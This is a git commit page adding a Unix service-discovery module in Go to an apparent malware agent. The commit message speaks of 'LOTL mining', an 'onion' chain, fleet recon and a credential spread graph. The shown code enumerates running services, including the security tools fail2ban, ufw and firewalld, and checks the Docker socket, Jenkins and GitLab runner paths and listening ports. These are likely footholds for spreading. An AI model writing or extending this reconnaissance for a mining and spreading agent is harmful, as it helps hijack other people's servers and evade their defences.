Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
124
agent/deploy/service_discovery_unix.go
Normal file
124
agent/deploy/service_discovery_unix.go
Normal file
@@ -0,0 +1,124 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var serviceDiscoverUnits = []string{
|
||||
"docker", "docker.service", "ssh", "sshd", "jenkins", "gitlab-runner",
|
||||
"cloudflared", "fail2ban", "ufw", "firewalld",
|
||||
}
|
||||
|
||||
func probeLocalServices() []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, unit := range serviceDiscoverUnits {
|
||||
status := "not_found"
|
||||
if activeOut, err := exec.Command("systemctl", "is-active", unit).CombinedOutput(); err == nil {
|
||||
active := strings.TrimSpace(string(activeOut))
|
||||
switch active {
|
||||
case "active":
|
||||
status = "running"
|
||||
case "inactive", "failed", "dead":
|
||||
status = "stopped"
|
||||
default:
|
||||
if active != "unknown" {
|
||||
status = "stopped"
|
||||
}
|
||||
}
|
||||
}
|
||||
if status == "not_found" {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, entryWithLane(unit, 0, "local_service"))
|
||||
}
|
||||
|
||||
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
|
||||
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||
}
|
||||
|
||||
if out, err := exec.Command("ss", "-lnt").CombinedOutput(); err == nil {
|
||||
entries = append(entries, parseSSListening(string(out))...)
|
||||
} else if out, err := exec.Command("netstat", "-lnt").CombinedOutput(); err == nil {
|
||||
entries = append(entries, parseNetstatListening(string(out))...)
|
||||
}
|
||||
|
||||
return dedupeEntries(entries)
|
||||
}
|
||||
|
||||
func collectPassiveHints() []string {
|
||||
var hints []string
|
||||
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
|
||||
hints = append(hints, "docker_socket")
|
||||
}
|
||||
for _, path := range []string{
|
||||
"/var/lib/gitlab-runner",
|
||||
"/etc/gitlab-runner",
|
||||
"/var/lib/jenkins",
|
||||
} {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
hints = append(hints, "runner_path:"+path)
|
||||
}
|
||||
}
|
||||
return hints
|
||||
}
|
||||
|
||||
func parseSSListening(text string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 4 {
|
||||
continue
|
||||
}
|
||||
local := fields[3]
|
||||
port := parseListenPort(local)
|
||||
if port == 0 {
|
||||
continue
|
||||
}
|
||||
name := portServiceNames[port]
|
||||
if name == "" {
|
||||
name = "tcp/" + strconv.Itoa(port)
|
||||
}
|
||||
entries = append(entries, entryWithLane(name, port, "passive_hint"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func parseNetstatListening(text string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
if !strings.Contains(line, "LISTEN") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 4 {
|
||||
continue
|
||||
}
|
||||
local := fields[3]
|
||||
port := parseListenPort(local)
|
||||
if port == 0 {
|
||||
continue
|
||||
}
|
||||
name := portServiceNames[port]
|
||||
if name == "" {
|
||||
name = "tcp/" + strconv.Itoa(port)
|
||||
}
|
||||
entries = append(entries, entryWithLane(name, port, "passive_hint"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func parseListenPort(local string) int {
|
||||
// formats: *:22, 0.0.0.0:445, [::]:8080
|
||||
if i := strings.LastIndex(local, ":"); i >= 0 {
|
||||
portStr := strings.TrimSuffix(local[i+1:], "]")
|
||||
if n, err := strconv.Atoi(portStr); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
Reference in New Issue
Block a user